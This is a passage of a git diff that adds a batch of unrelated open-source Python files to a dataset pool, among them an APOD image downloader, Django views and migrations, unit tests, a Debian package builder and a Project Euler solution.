corrupt, please try again" + print "[APOD]", "Exiting..." + return self.error_codes.err['INCOMPDL'] + + print "[APOD] Downloaded %.2f KB in %.2fs"%((file_size / 1024.0), (end_time - start_time)) + + except urllib2.HTTPError, e: + print "[APOD] Failed to connect", e.getcode() + print "[APOD]",self.error_codes.error_code_status(e.getcode()) + print "[APOD]", "Exiting..." + return self.error_codes.err["HTTPERR"] + + except urllib2.URLError, e: + print "[APOD]", e.args[0] + print "[APOD]", "Internet Connection not working" + print "[APOD]", "Exiting..." + return self.error_codes.err["URLERR"] + + def apod_download(self): + apod_url = self.get_apod_url(); + if (apod_url not in self.error_codes.get_error_list()): + img_url = self.get_image_url(apod_url) + if (img_url not in self.error_codes.get_error_list()): + self.download_image(img_url) + else: + return + else: + return + +if __name__ == "__main__": + ec = Error_codes() + apod = APOD_Downloader(ec) + apod.apod_download() \ No newline at end of file diff --git a/pool/shard008/Python/0075177_1805eda2bbfa_added_prev_state_column.py b/pool/shard008/Python/0075177_1805eda2bbfa_added_prev_state_column.py new file mode 100644 index 0000000000000000000000000000000000000000..9b0674c9d36830d1f9134e54a18e24e912721bee --- /dev/null +++ b/pool/shard008/Python/0075177_1805eda2bbfa_added_prev_state_column.py @@ -0,0 +1,22 @@ +"""Added prev_state column + +Revision ID: 1805eda2bbfa +Revises: 1a29f9f5c21c +Create Date: 2014-04-24 09:19:56.308929 + +""" + +# revision identifiers, used by Alembic. +revision = '1805eda2bbfa' +down_revision = '1a29f9f5c21c' + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + op.add_column('tasks_history', sa.Column('prev_state', sa.Integer(), nullable=True)) + + +def downgrade(): + op.drop_column('tasks_history', 'prev_state') diff --git a/pool/shard008/Python/0075180_test_poll.py b/pool/shard008/Python/0075180_test_poll.py new file mode 100644 index 0000000000000000000000000000000000000000..d33af911e802b4284160257db488e3883d7c7947 --- /dev/null +++ b/pool/shard008/Python/0075180_test_poll.py @@ -0,0 +1,157 @@ +# Test case for the os.poll() function + +import os, select, random, unittest +from test.test_support import TESTFN, run_unittest + +try: + select.poll +except AttributeError: + raise unittest.SkipTest, "select.poll not defined -- skipping test_poll" + + +def find_ready_matching(ready, flag): + match = [] + for fd, mode in ready: + if mode & flag: + match.append(fd) + return match + +class PollTests(unittest.TestCase): + + def test_poll1(self): + # Basic functional test of poll object + # Create a bunch of pipe and test that poll works with them. + + p = select.poll() + + NUM_PIPES = 12 + MSG = " This is a test." + MSG_LEN = len(MSG) + readers = [] + writers = [] + r2w = {} + w2r = {} + + for i in range(NUM_PIPES): + rd, wr = os.pipe() + p.register(rd) + p.modify(rd, select.POLLIN) + p.register(wr, select.POLLOUT) + readers.append(rd) + writers.append(wr) + r2w[rd] = wr + w2r[wr] = rd + + bufs = [] + + while writers: + ready = p.poll() + ready_writers = find_ready_matching(ready, select.POLLOUT) + if not ready_writers: + raise RuntimeError, "no pipes ready for writing" + wr = random.choice(ready_writers) + os.write(wr, MSG) + + ready = p.poll() + ready_readers = find_ready_matching(ready, select.POLLIN) + if not ready_readers: + raise RuntimeError, "no pipes ready for reading" + rd = random.choice(ready_readers) + buf = os.read(rd, MSG_LEN) + self.assertEqual(len(buf), MSG_LEN) + bufs.append(buf) + os.close(r2w[rd]) ; os.close( rd ) + p.unregister( r2w[rd] ) + p.unregister( rd ) + writers.remove(r2w[rd]) + + self.assertEqual(bufs, [MSG] * NUM_PIPES) + + def poll_unit_tests(self): + # returns NVAL for invalid file descriptor + FD = 42 + try: + os.close(FD) + except OSError: + pass + p = select.poll() + p.register(FD) + r = p.poll() + self.assertEqual(r[0], (FD, select.POLLNVAL)) + + f = open(TESTFN, 'w') + fd = f.fileno() + p = select.poll() + p.register(f) + r = p.poll() + self.assertEqual(r[0][0], fd) + f.close() + r = p.poll() + self.assertEqual(r[0], (fd, select.POLLNVAL)) + os.unlink(TESTFN) + + # type error for invalid arguments + p = select.poll() + self.assertRaises(TypeError, p.register, p) + self.assertRaises(TypeError, p.unregister, p) + + # can't unregister non-existent object + p = select.poll() + self.assertRaises(KeyError, p.unregister, 3) + + # Test error cases + pollster = select.poll() + class Nope: + pass + + class Almost: + def fileno(self): + return 'fileno' + + self.assertRaises(TypeError, pollster.register, Nope(), 0) + self.assertRaises(TypeError, pollster.register, Almost(), 0) + + # Another test case for poll(). This is copied from the test case for + # select(), modified to use poll() instead. + + def test_poll2(self): + cmd = 'for i in 0 1 2 3 4 5 6 7 8 9; do echo testing...; sleep 1; done' + p = os.popen(cmd, 'r') + pollster = select.poll() + pollster.register( p, select.POLLIN ) + for tout in (0, 1000, 2000, 4000, 8000, 16000) + (-1,)*10: + fdlist = pollster.poll(tout) + if (fdlist == []): + continue + fd, flags = fdlist[0] + if flags & select.POLLHUP: + line = p.readline() + if line != "": + self.fail('error: pipe seems to be closed, but still returns data') + continue + + elif flags & select.POLLIN: + line = p.readline() + if not line: + break + continue + else: + self.fail('Unexpected return value from select.poll: %s' % fdlist) + p.close() + + def test_poll3(self): + # test int overflow + pollster = select.poll() + pollster.register(1) + + self.assertRaises(OverflowError, pollster.poll, 1L << 64) + + x = 2 + 3 + if x != 5: + self.fail('Overflow must have occurred') + +def test_main(): + run_unittest(PollTests) + +if __name__ == '__main__': + test_main() diff --git a/pool/shard008/Python/0075188_init__.py b/pool/shard008/Python/0075188_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..9a2ec9a55253474b7cd986e853623d431bbd0279 --- /dev/null +++ b/pool/shard008/Python/0075188_init__.py @@ -0,0 +1,91 @@ +"""Render templates.""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals + +import os +import re +import stat # pylint: disable=wrong-import-order +import sys +import tempfile + +import jinja2 + +if os.name == 'nt': + # Pylint warning unable to import because it is on Windows only + import win32api # pylint: disable=E0401 + import win32con # pylint: disable=E0401 + + +_EXEC_MODE = (stat.S_IRUSR | + stat.S_IRGRP | + stat.S_IROTH | + stat.S_IWUSR | + stat.S_IXUSR | + stat.S_IXGRP | + stat.S_IXOTH) + + +def render(template, **kwargs): + """Render template, adding new line in the end.""" + return re.sub( + ' +', + ' ', + jinja2.Template(template).render(**kwargs) + ).lstrip() + '\n' + + +def generate_template(templatename, **kwargs): + """This renders a JINJA template as a generator. + + The templates exist in our lib/python/treadmill/templates directory. + + :param ``str`` templatename: + The name of the template file. + :param ``dict`` kwargs: + key/value passed into the template. + """ + jinja_env = jinja2.Environment(loader=jinja2.PackageLoader('treadmill')) + template = jinja_env.get_template(templatename) + return template.generate(**kwargs) + + +def create_script(filename, templatename, mode=_EXEC_MODE, **kwargs): + """This Creates a file from a JINJA template. + + The templates exist in our lib/python/treadmill/templates directory. + + :param ``str`` filename: + Name of the file to generate. + :param ``str`` templatename: + The name of the template file. + :param ``int`` mode: + The mode for the file (Defaults to +x). + :param ``dict`` kwargs: + key/value passed into the template. + """ + jinja_env = jinja2.Environment(loader=jinja2.PackageLoader('treadmill')) + + filepath = os.path.dirname(filename) + with tempfile.NamedTemporaryFile(dir=filepath, + delete=False, + mode='w') as f: + data = jinja_env.get_template(templatename).render(**kwargs) + f.write(data) + if os.name == 'posix': + # cast to int required in order for default _EXEC_MODE to work + os.fchmod(f.fileno(), int(mode)) + + if sys.version_info[0] < 3: + # TODO: os.rename cannot replace on windows + # (use os.replace in python 3.4) + # copied from fs as utils cannot have this dependency + if os.name == 'nt': + win32api.MoveFileEx(f.name, filename, + win32con.MOVEFILE_REPLACE_EXISTING) + else: + os.rename(f.name, filename) + else: + os.replace(f.name, filename) diff --git a/pool/shard008/Python/0075190_problem493.py b/pool/shard008/Python/0075190_problem493.py new file mode 100644 index 0000000000000000000000000000000000000000..7072016ee079f8c5a255eae41d9803cacf47d22e --- /dev/null +++ b/pool/shard008/Python/0075190_problem493.py @@ -0,0 +1,68 @@ +# +# Solution to Project Euler problem 493 +# Copyright (c) Project Nayuki. All rights reserved. +# +# https://www.nayuki.io/page/project-euler-solutions +# https://github.com/nayuki/Project-Euler-solutions +# + +import eulerlib, fractions, math + + +def compute(): + NUM_COLORS = 7 + BALLS_PER_COLOR = 10 + NUM_PICKED = 20 + DECIMALS = 9 + + numerator = [0] + + def explore(remain, limit, history): + if remain == 0: + hist = list(history) + while len(hist) < NUM_COLORS: + hist.append(0) + + histogram = [0] * (BALLS_PER_COLOR + 1) + for x in hist: + histogram[x] += 1 + + count = math.factorial(NUM_COLORS) + for x in histogram: + count = divide_exactly(count, math.factorial(x)) + + for x in hist: + count *= eulerlib.binomial(BALLS_PER_COLOR, x) + + distinctcolors = len(history) + numerator[0] += count * distinctcolors + + elif len(history) < NUM_COLORS: + for i in range(min(limit, remain), 0, -1): + history.append(i) + explore(remain - i, i, history) + history.pop() + + explore(NUM_PICKED, BALLS_PER_COLOR, []) + denominator = eulerlib.binomial(NUM_COLORS * BALLS_PER_COLOR, NUM_PICKED) + ans = fractions.Fraction(numerator[0], denominator) + return format_fraction(ans, DECIMALS) + + +def format_fraction(val, digits): + if digits <= 0: + raise ValueError() + if val < 0: + return "-" + format_fraction(-val, digits) + s = str(round(val * 10**digits)).zfill(digits + 1) + return f"{s[:-digits]}.{s[-digits:]}" + + +def divide_exactly(x, y): + if x % y != 0: + raise ValueError("Not divisible") + return x // y + + +if __name__ == "__main__": + print(compute()) diff --git a/pool/shard008/Python/0075202_stats.py b/pool/shard008/Python/0075202_stats.py new file mode 100644 index 0000000000000000000000000000000000000000..7f7dd445f2d2e83e18adb8c02179661030931199 --- /dev/null +++ b/pool/shard008/Python/0075202_stats.py @@ -0,0 +1,49 @@ +""" + +:mod:`Tor2Web` +===================================================== + +.. automodule:: Tor2Web + :synopsis: Stats routines + +.. moduleauthor:: Arturo Filasto' +.. moduleauthor:: Giovanni Pellerano + +""" + +# -*- coding: utf-8 -*- + + +import json +from datetime import date, datetime, timedelta + +from twisted.internet import reactor +from twisted.internet.task import deferLater + + +class T2WStats(dict): + def __init__(self): + dict.__init__(self) + self.yesterday_stats = '' + + self.update_stats() + + def update(self, key): + if key not in self: + self[key] = 0 + self[key] += 1 + + def update_stats(self, run_again=True): + yesterday = date.today() - timedelta(1) + hidden_services = list() + for k in self: + hidden_services.append(({'id': k, 'access_count': self[k]})) + + self.yesterday_stats = json.dumps({'date': yesterday.strftime('%Y-%m-%d'), + 'hidden_services': hidden_services}) + self.clear() + + next_time = datetime.now().replace(hour=0, minute=0, second=0, microsecond=0) + \ + timedelta(days=1) + next_delta = (next_time - datetime.now()).total_seconds() + deferLater(reactor, next_delta, self.update_stats) diff --git a/pool/shard008/Python/0075203_admin.py b/pool/shard008/Python/0075203_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..e9d31ae886e8f7a8c19ba991ed92aca3b79c5bdf --- /dev/null +++ b/pool/shard008/Python/0075203_admin.py @@ -0,0 +1,45 @@ +import json +from django.contrib import admin +from django import forms + +from .models import PushNotification, Device + + +class PushNotificationForm(forms.ModelForm): + def clean(self): + body = self.cleaned_data.get('body') + try: + body = json.loads(body) + except ValueError: + raise forms.ValidationError('Body does not contain valid JSON') + return self.cleaned_data + + class Meta: + model = PushNotification + fields = ( + 'title', 'body', 'active', 'sent', 'filter_type', 'filter_user' + ) + + +class PushNotificationAdmin(admin.ModelAdmin): + form = PushNotificationForm + list_display = ( + 'title', + 'date_created', + 'active', + 'sent', + 'date_started', + 'date_finished' + ) + list_filter = ('active', 'sent') + search_fields = ('title', ) + readonly_fields = ('date_started', 'date_finished') + + +class DeviceAdmin(admin.ModelAdmin): + list_display = ('key', ) + list_filter = ('user', ) + + +admin.site.register(PushNotification, PushNotificationAdmin) +admin.site.register(Device, DeviceAdmin) diff --git a/pool/shard008/Python/0075205_RDFfromDX.py b/pool/shard008/Python/0075205_RDFfromDX.py new file mode 100644 index 0000000000000000000000000000000000000000..a16926471605f983ccd3fd720c82ad27fcb9562b --- /dev/null +++ b/pool/shard008/Python/0075205_RDFfromDX.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python +import grid.grid as grid +import sys +print "# Input format: RDFfromDX.py (concentration)" +print "If you input a concentration (particles per unit volume), the coordination number will also be printed in the 3rd column" + +if len(sys.argv) < 6: + quit("Error, insufficient arguments") + +dxfilename, x, y, z, delta, maxval = sys.argv[1:7] + +concentration = False +if len(sys.argv) > 7: + concentration = float(sys.argv[7]) + +griddata = grid.dx2Grid(dxfilename) +if not concentration: + rdf = griddata.interpRDF([float(x),float(y),float(z)], float(delta), float(maxval)) + for i, value in enumerate(rdf): + print i*float(delta), value +else: + rdf, coordnums = griddata.interpRDF([float(x),float(y),float(z)], float(delta), float(maxval), concentration) + for i, value in enumerate(rdf): + print i*float(delta), value, coordnums[i] diff --git a/pool/shard008/Python/0075211_deb.py b/pool/shard008/Python/0075211_deb.py new file mode 100644 index 0000000000000000000000000000000000000000..0f30b30d6c07d0a47a44e2d1041bc877b7121a23 --- /dev/null +++ b/pool/shard008/Python/0075211_deb.py @@ -0,0 +1,26 @@ +import commands + +def run(c): + return commands.getstatusoutput(c)[0] + +share_path = '/usr/share/' +etc_path = '/etc/' +bin_path = '/usr/bin/' + +def build(dir, name, ver, desc, deps, provs): + run('mkdir ' + dir + 'DEBIAN') + if name == 'ajenti': + run('echo "#!/bin/sh\nupdate-rc.d ajenti start 2 3 4 5 . stop 0 1 6 .; /etc/init.d/ajenti restart" > %sDEBIAN/postinst'%dir) + run('echo "#!/bin/sh\nupdate-rc.d -f ajenti remove; exit 0" > %sDEBIAN/postrm'%dir) + run('chmod 755 %sDEBIAN/post*'%dir) + run('echo /etc/ajenti/ajenti.conf > %sDEBIAN/conffiles'%dir) + + l = (name, ver, ', '.join(deps)) + i = 'Package: %s\nPriority: optional\nSection: admin\nArchitecture: all\nVersion: %s\nDepends: %s\nMaintainer: Eugeny Pankov \n' % l + if provs != []: + i += 'Provides: %s\n' % ', '.join(provs) + i += 'Description: %s\n' % desc + with open(dir + 'DEBIAN/control', 'w') as f: + f.write(i) + + run('dpkg-deb -b ' + dir + ' out/' + name + '-' + ver + '.deb') diff --git a/pool/shard008/Python/0075214_test_management.py b/pool/shard008/Python/0075214_test_management.py new file mode 100644 index 0000000000000000000000000000000000000000..dc3bf917afcaf9d4039770725eae20c078bc2886 --- /dev/null +++ b/pool/shard008/Python/0075214_test_management.py @@ -0,0 +1,126 @@ +# Copyright 2015, Cisco Systems. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import mock + +from oslo_utils import importutils + +from ironic.common import boot_devices +from ironic.common import exception +from ironic.conductor import task_manager +from ironic.drivers.modules.cimc import common +from ironic.tests.drivers.cimc import test_common + +imcsdk = importutils.try_import('ImcSdk') + + +@mock.patch.object(common, 'cimc_handle', autospec=True) +class CIMCManagementTestCase(test_common.CIMCBaseTestCase): + + def test_get_properties(self, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + self.assertEqual(common.COMMON_PROPERTIES, + task.driver.management.get_properties()) + + @mock.patch.object(common, "parse_driver_info", autospec=True) + def test_validate(self, mock_driver_info, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + task.driver.management.validate(task) + mock_driver_info.assert_called_once_with(task.node) + + def test_get_supported_boot_devices(self, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + expected = [boot_devices.PXE, boot_devices.DISK, + boot_devices.CDROM] + result = task.driver.management.get_supported_boot_devices(task) + self.assertEqual(sorted(expected), sorted(result)) + + def test_get_boot_device(self, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + with mock_handle(task) as handle: + handle.xml_query.return_value.error_code = None + mock_dev = mock.MagicMock() + mock_dev.Order = 1 + mock_dev.Rn = 'storage-read-write' + handle.xml_query().OutConfigs.child[0].child = [mock_dev] + + device = task.driver.management.get_boot_device(task) + self.assertEqual( + {'boot_device': boot_devices.DISK, 'persistent': True}, + device) + + def test_get_boot_device_fail(self, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + with mock_handle(task) as handle: + handle.xml_query.return_value.error_code = None + mock_dev = mock.MagicMock() + mock_dev.Order = 1 + mock_dev.Rn = 'storage-read-write' + handle.xml_query().OutConfigs.child[0].child = [mock_dev] + + device = task.driver.management.get_boot_device(task) + + self.assertEqual( + {'boot_device': boot_devices.DISK, 'persistent': True}, + device) + + def test_set_boot_device(self, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + with mock_handle(task) as handle: + handle.xml_query.return_value.error_code = None + task.driver.management.set_boot_device(task, boot_devices.DISK) + method = imcsdk.ImcCore.ExternalMethod("ConfigConfMo") + method.Cookie = handle.cookie + method.Dn = "sys/rack-unit-1/boot-policy" + method.InHierarchical = "true" + + config = imcsdk.Imc.ConfigConfig() + + bootMode = imcsdk.ImcCore.ManagedObject('lsbootStorage') + bootMode.set_attr("access", 'read-write') + bootMode.set_attr("type", 'storage') + bootMode.set_attr("Rn", 'storage-read-write') + bootMode.set_attr("order", "1") + + config.add_child(bootMode) + method.InConfig = config + + handle.xml_query.assert_called_once_with( + method, imcsdk.WriteXmlOption.DIRTY) + + def test_set_boot_device_fail(self, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + with mock_handle(task) as handle: + method = imcsdk.ImcCore.ExternalMethod("ConfigConfMo") + handle.xml_query.return_value.error_code = "404" + + self.assertRaises(exception.CIMCException, + task.driver.management.set_boot_device, + task, boot_devices.DISK) + + handle.xml_query.assert_called_once_with( + method, imcsdk.WriteXmlOption.DIRTY) + + def test_get_sensors_data(self, mock_handle): + with task_manager.acquire(self.context, self.node.uuid, + shared=False) as task: + self.assertRaises(NotImplementedError, + task.driver.management.get_sensors_data, task) diff --git a/pool/shard008/Python/0075219_0008_auto_20170526_1651.py b/pool/shard008/Python/0075219_0008_auto_20170526_1651.py new file mode 100644 index 0000000000000000000000000000000000000000..18a8d209e2132308e01eea7758000079e7ddee3d --- /dev/null +++ b/pool/shard008/Python/0075219_0008_auto_20170526_1651.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.10.5 on 2017-05-26 16:51 +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('roombookings', '0007_auto_20170328_1109'), + ] + + operations = [ + migrations.AddField( + model_name='bookinga', + name='title', + field=models.CharField(blank=True, max_length=523, null=True), + ), + migrations.AddField( + model_name='bookingb', + name='title', + field=models.CharField(blank=True, max_length=523, null=True), + ), + ] diff --git a/pool/shard008/Python/0075220_geomtype.py b/pool/shard008/Python/0075220_geomtype.py new file mode 100644 index 0000000000000000000000000000000000000000..d0dc1c03593002e76c3464974d12c9d91f69de58 --- /dev/null +++ b/pool/shard008/Python/0075220_geomtype.py @@ -0,0 +1,87 @@ +from django.contrib.gis.gdal.error import GDALException +from django.utils import six + + +class OGRGeomType(object): + "Encapsulates OGR Geometry Types." + + wkb25bit = -2147483648 + + # Dictionary of acceptable OGRwkbGeometryType s and their string names. + _types = {0: 'Unknown', + 1: 'Point', + 2: 'LineString', + 3: 'Polygon', + 4: 'MultiPoint', + 5: 'MultiLineString', + 6: 'MultiPolygon', + 7: 'GeometryCollection', + 100: 'None', + 101: 'LinearRing', + 1 + wkb25bit: 'Point25D', + 2 + wkb25bit: 'LineString25D', + 3 + wkb25bit: 'Polygon25D', + 4 + wkb25bit: 'MultiPoint25D', + 5 + wkb25bit: 'MultiLineString25D', + 6 + wkb25bit: 'MultiPolygon25D', + 7 + wkb25bit: 'GeometryCollection25D', + } + # Reverse type dictionary, keyed by lower-case of the name. + _str_types = {v.lower(): k for k, v in _types.items()} + + def __init__(self, type_input): + "Figures out the correct OGR Type based upon the input." + if isinstance(type_input, OGRGeomType): + num = type_input.num + elif isinstance(type_input, six.string_types): + type_input = type_input.lower() + if type_input == 'geometry': + type_input = 'unknown' + num = self._str_types.get(type_input, None) + if num is None: + raise GDALException('Invalid OGR String Type "%s"' % type_input) + elif isinstance(type_input, int): + if type_input not in self._types: + raise GDALException('Invalid OGR Integer Type: %d' % type_input) + num = type_input + else: + raise TypeError('Invalid OGR input type given.') + + # Setting the OGR geometry type number. + self.num = num + + def __str__(self): + "Returns the value of the name property." + return self.name + + def __eq__(self, other): + """ + Does an equivalence test on the OGR type with the given + other OGRGeomType, the short-hand string, or the integer. + """ + if isinstance(other, OGRGeomType): + return self.num == other.num + elif isinstance(other, six.string_types): + return self.name.lower() == other.lower() + elif isinstance(other, int): + return self.num == other + else: + return False + + def __ne__(self, other): + return not (self == other) + + @property + def name(self): + "Returns a short-hand string form of the OGR Geometry type." + return self._types[self.num] + + @property + def django(self): + "Returns the Django GeometryField for this OGR Type." + s = self.name.replace('25D', '') + if s in ('LinearRing', 'None'): + return None + elif s == 'Unknown': + s = 'Geometry' + return s + 'Field' diff --git a/pool/shard008/Python/0075222_views.py b/pool/shard008/Python/0075222_views.py new file mode 100644 index 0000000000000000000000000000000000000000..1fb2c6e66b3068a89fefe006f3c0f59b4d832d70 --- /dev/null +++ b/pool/shard008/Python/0075222_views.py @@ -0,0 +1,209 @@ +from rest_framework.viewsets import ModelViewSet +from rest_framework.decorators import list_route, detail_route +from rest_framework.response import Response +from rest_framework.filters import DjangoFilterBackend, OrderingFilter + +from . import serializers +from .permissions import UserPermission, CreateAndViewPermission +from ..models import ( + Question, + Answer, + Comment, + Vote, + Tag +) + + +class QuestionViewSet(ModelViewSet): + queryset = Question.objects.all().order_by('votes') + permission_classes = [UserPermission] + filter_backends = [DjangoFilterBackend, OrderingFilter] + filter_fields = ['author__email', 'author__first_name', 'author__last_name', 'title', 'content'] + + def get_serializer_class(self): + if self.action == 'create': + return serializers.CreateQuestionSerializer + if self.action == 'update': + return serializers.UpdateQuestionSerializer + return serializers.QuestionSerializer + + @detail_route(methods=['post']) + def upvote(self, request, pk=None): + question = self.get_object() + request.user.vote_for_question(question, Vote.UP) + serializer = serializers.VoteSerializer(Vote.objects.get(voted_by=request.user, question=question)) + return Response(serializer.data) + + @detail_route(methods=['post']) + def downvote(self, request, pk=None): + question = self.get_object() + request.user.vote_for_question(question, Vote.DOWN) + serializer = serializers.VoteSerializer(Vote.objects.get(voted_by=request.user, question=question)) + return Response(serializer.data) + + @detail_route(methods=['get']) + def vote(self, request, pk=None, vote=None): + question = self.get_object() + try: + Vote.objects.get(voted_by=request.user, question=question) + obj = Vote.objects.get(voted_by=request.user, question=question) + return Response({ + 'status': True, + 'question_id': question.id, + 'message': '{} has {}voted answer with id {}'.format(request.user, obj.vote, question.id), + 'vote': obj.vote, + 'total_votes': question.votes + }) + except Vote.DoesNotExist: + return Response({ + 'status': False, + 'question_id': question.id, + 'message': '{} has not voted for answer with id {}'.format(request.user, question.id), + 'vote': None, + 'total_votes': question.votes + }) + + @list_route(methods=['get']) + def popular(self, request): + popular_questions = Question.get_popular() + + page = self.paginate_queryset(popular_questions) + if page is not None: + serializer = self.get_serializer(page, many=True) + return self.get_paginated_response(serializer.data) + + serializer = self.get_serializer(popular_questions, many=True) + return Response(serializer.data) + + @list_route(methods=['get']) + def latest(self, request): + latest_questions = Question.get_latest() + + page = self.paginate_queryset(latest_questions) + if page is not None: + serializer = self.get_serializer(page, many=True) + return self.get_paginated_response(serializer.data) + + serializer = self.get_serializer(latest_questions, many=True) + return Response(serializer.data) + + @detail_route(methods=['get']) + def answers(self, request, pk=None): + question = self.get_object() + answers = question.answers.all().order_by('votes') + page = self.paginate_queryset(answers) + if page is not None: + serializer = serializers.AnswerSerializer(page, many=True, context={'request': request}) + return self.get_paginated_response(serializer.data) + + serializer = serializers.AnswerSerializer(answers, many=True, context={'request': request}) + return Response(serializer.data) + + +class TagViewSet(ModelViewSet): + queryset = Tag.objects.all() + lookup_field = 'tag' + serializer_class = serializers.TagSerializer + permission_classes = [CreateAndViewPermission] + filter_backends = [DjangoFilterBackend, OrderingFilter] + filter_fields = ['tag'] + + @list_route(methods=['get']) + def trending(self, request): + trending_tags = Tag.get_trending() + + page = self.paginate_queryset(trending_tags) + if page is not None: + serializer = self.get_serializer(page, many=True) + return self.get_paginated_response(serializer.data) + + serializer = self.get_serializer(trending_tags, many=True) + return Response(serializer.data) + + @detail_route(methods=['get']) + def questions(self, request, tag=None): + tag = self.get_object() + questions = tag.questions.all() + page = self.paginate_queryset(questions) + if page is not None: + serializer = serializers.QuestionSerializer(page, many=True, context={'request': request}) + return self.get_paginated_response(serializer.data) + + serializer = serializers.QuestionSerializer(questions, many=True, context={'request': request}) + return Response(serializer.data) + + +class AnswerViewSet(ModelViewSet): + queryset = Answer.objects.all().order_by('votes') + permission_classes = [UserPermission] + filter_backends = [DjangoFilterBackend, OrderingFilter] + filter_fields = ['question__title', 'author__first_name', 'author__last_name', 'content', 'votes'] + + def get_serializer_class(self): + if self.action == 'create': + return serializers.CreateAnswerSerializer + if self.action == 'update': + return serializers.UpdateAnswerSerializer + return serializers.AnswerSerializer + + @detail_route(methods=['post']) + def upvote(self, request, pk=None): + answer = self.get_object() + request.user.vote_for_answer(answer, Vote.UP) + serializer = serializers.VoteSerializer(Vote.objects.get(voted_by=request.user, answer=answer)) + return Response(serializer.data) + + @detail_route(methods=['post']) + def downvote(self, request, pk=None): + answer = self.get_object() + request.user.vote_for_answer(answer, Vote.DOWN) + serializer = serializers.VoteSerializer(Vote.objects.get(voted_by=request.user, answer=answer)) + return Response(serializer.data) + + @detail_route(methods=['get']) + def vote(self, request, pk=None, vote=None): + answer = self.get_object() + try: + Vote.objects.get(voted_by=request.user, answer=answer) + obj = Vote.objects.get(voted_by=request.user, answer=answer) + return Response({ + 'status': True, + 'answer_id': answer.id, + 'message': '{} has {}voted answer with id {}'.format(request.user, obj.vote, answer.id), + 'vote': obj.vote, + 'total_votes': answer.votes + }) + except Vote.DoesNotExist: + return Response({ + 'status': False, + 'answer_id': answer.id, + 'message': '{} has not voted for answer with id {}'.format(request.user, answer.id), + 'vote': None, + 'total_votes': answer.votes + }) + + @detail_route(methods=['get']) + def comments(self, request, pk=None): + answer = self.get_object() + comments = answer.comments.all() + page = self.paginate_queryset(comments) + if page is not None: + serializer = serializers.CommentSerializer(page, many=True, context={'request': request}) + return self.get_paginated_response(serializer.data) + + serializer = serializers.CommentSerializer(comments, many=True, context={'request': request}) + return Response(serializer.data) + + +class CommentViewSet(ModelViewSet): + queryset = Comment.objects.all() + permission_classes = [UserPermission] + filter_backends = [DjangoFilterBackend, OrderingFilter] + filter_fields = ['content', 'author__first_name', 'author__last_name'] + + def get_serializer_class(self): + if self.action == 'create': + return serializers.CreateCommentSerializer + if self.action == 'update': + return serializers.UpdateCommentSerializer + return serializers.CommentSerializer diff --git a/pool/shard008/Python/0075225_gen-insertfile.py b/pool/shard008/Python/0075225_gen-insertfile.py new file mode 100644 index 0000000000000000000000000000000000000000..ea57c221fd1235ade0aa492b333b964785f94744 --- /dev/null +++ b/pool/shard008/Python/0075225_gen-insertfile.py @@ -0,0 +1,67 @@ +#!/usr/bin/python +# coding: utf-8 + +import sys, os.path, hashlib +from random import randint + +reload(sys) +sys.setdefaultencoding( "utf-8" ) + +if len(sys.argv) != 2: + print "Az első paraméterben megadott névvel létrehozott fájlba írja az SQL INSERT-eket." + sys.exit() + +outfile = sys.argv[1] +if os.path.isfile(outfile): + print "Már létezik a fájl, nem merek bele írni: %s" % outfile + sys.exit() + +# A vezetékneveket beolvassuk az aVnev tömbbe +aVnev = open('csaladnev.txt').read().strip().split('\n') +nVnev = len(aVnev) + +# A keresztneveket az aKnev-be +aKnev = [] +for nap in open('keresztnev.txt').readlines(): + try: aKnev += nap.strip().split(': ')[1].split() + except: pass +nKnev = len(aKnev) + +# Az azonosítók kezdőértékei +nTanar, nDiak = 10, 10000 + +def sha(pw): + return hashlib.sha256(pw.encode('utf-8')).hexdigest() + +tJelszo = sha('t'); +dJelszo = sha('d'); + +nev = lambda: aVnev[randint(0, nVnev-1)] + ' ' + aKnev[randint(0, nKnev-1)] + +osztalyok = open('OSZTALY').read().replace('\n', ';').split(';') # 'd10a;7. A;....' +# Minden második osztályazonosító +OSZTALY = dict( [ (osztalyok[i], osztalyok[i+1]) for i in range(0, len(osztalyok)-1, 2) ] ) + +tanarOUT = [] +osztalyOUT = [''] +diakOUT = [''] + +tFormat = "INSERT INTO Tanar (id, jelszo, tnev) VALUES (%d, '%s', '%s');" +for oid, onev in OSZTALY.items(): + tanarOUT.append(tFormat % (nTanar, tJelszo, nev())) + osztalyOUT.append("INSERT INTO Osztaly (oszt, onev, ofo) VALUES ('%s', '%s', %d);" % (oid, onev, nTanar)) + + # minden osztályhoz felveszünk néhány diákot + for i in range(randint(25, 35)): + diakOUT.append("INSERT INTO Diak_base (id, jelszo, dnev, oszt) VALUES (%d, '%s', '%s', '%s');" % (nDiak, dJelszo, nev(), oid)) + nDiak += 1 + nTanar += 1 + +# még néhány tanárt hozzáadunk (eddig az osztályfőnökök vannak) +for i in range(randint(25, 35)): + tanarOUT.append(tFormat % (nTanar, tJelszo, nev())) + nTanar += 1 + +OUT = tanarOUT + osztalyOUT + diakOUT +open(outfile, 'w').write('\n'.join(OUT)) + diff --git a/pool/shard008/Python/0075228_views.py b/pool/shard008/Python/0075228_views.py new file mode 100644 index 0000000000000000000000000000000000000000..b7121680d8647b91cce3fe887f8fe2d4dcede8a3 --- /dev/null +++ b/pool/shard008/Python/0075228_views.py @@ -0,0 +1,60 @@ + +import os +from functools import wraps + 